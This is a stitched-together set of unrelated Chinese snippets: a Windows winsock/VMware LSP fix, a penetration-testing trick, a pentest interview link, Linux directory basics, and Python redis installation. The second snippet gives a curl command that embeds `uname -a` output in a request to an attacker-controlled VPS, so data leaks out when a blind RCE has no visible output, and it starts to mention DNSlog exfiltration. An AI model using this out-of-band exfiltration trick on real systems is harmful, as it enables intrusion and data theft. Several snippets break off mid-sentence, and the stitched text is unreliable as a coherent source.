解决方法一：1、以管理员身份运行命令提示符（cmd.exe），输入命令 netsh winsock show catalog 按下回车键执行命令（可以看到VMware注册了两个LSP：vSockets DGRAM、vSockets STREAM，路径是%windir%\system32\vsocklib.dll）2、观察有没有其他模块也注册了vSockets DGRAM、vSockets STRE

第一种使用curl：curl "xxx.xxx.xxx.xxx/$(uname -a | awk '{print $1}')"这条命令拼接了两处，第一处便是curl下我的一个vps服务器的80端口，第二处是显示内核版本。从服务器的web日志文件中看下效果：发现操作系统的版本被拼接输出到后面，在面对没有回显的RCE或者CSRF都可以使用这个技巧。第二种：DNSlogwindows：操作系统盲注方式w

http://blkstone.github.io/2017/06/01/pentest-interview/

linux系统是树形结构pwd：显示当前的路径cd：切换目录ls：列出当前目录中的内容目录介绍/bin：普通用户和管理员都可以执行的命令字/sbin：只有管理员才能执行的命令，例如关机或者重启/boot：主引导目录，独立的分区，例如启动菜单，内核/dev：device设备，设备文件存放的目录/etc：配置文件存放的路径/home：普通用户的家目录，/root：管理员的家目录/media：光驱的挂栽

Python默认是不支持Redis的，当引用redis时就会报错：这里需要为Python安装Redis库，下载https://github.com/andymccurdy/redis-py 后，解压并安装切换到redis-py目录，找到setup.py执行python setup.py install 即可进入python编辑器，可以正常导入redis##http://www.bubuko.com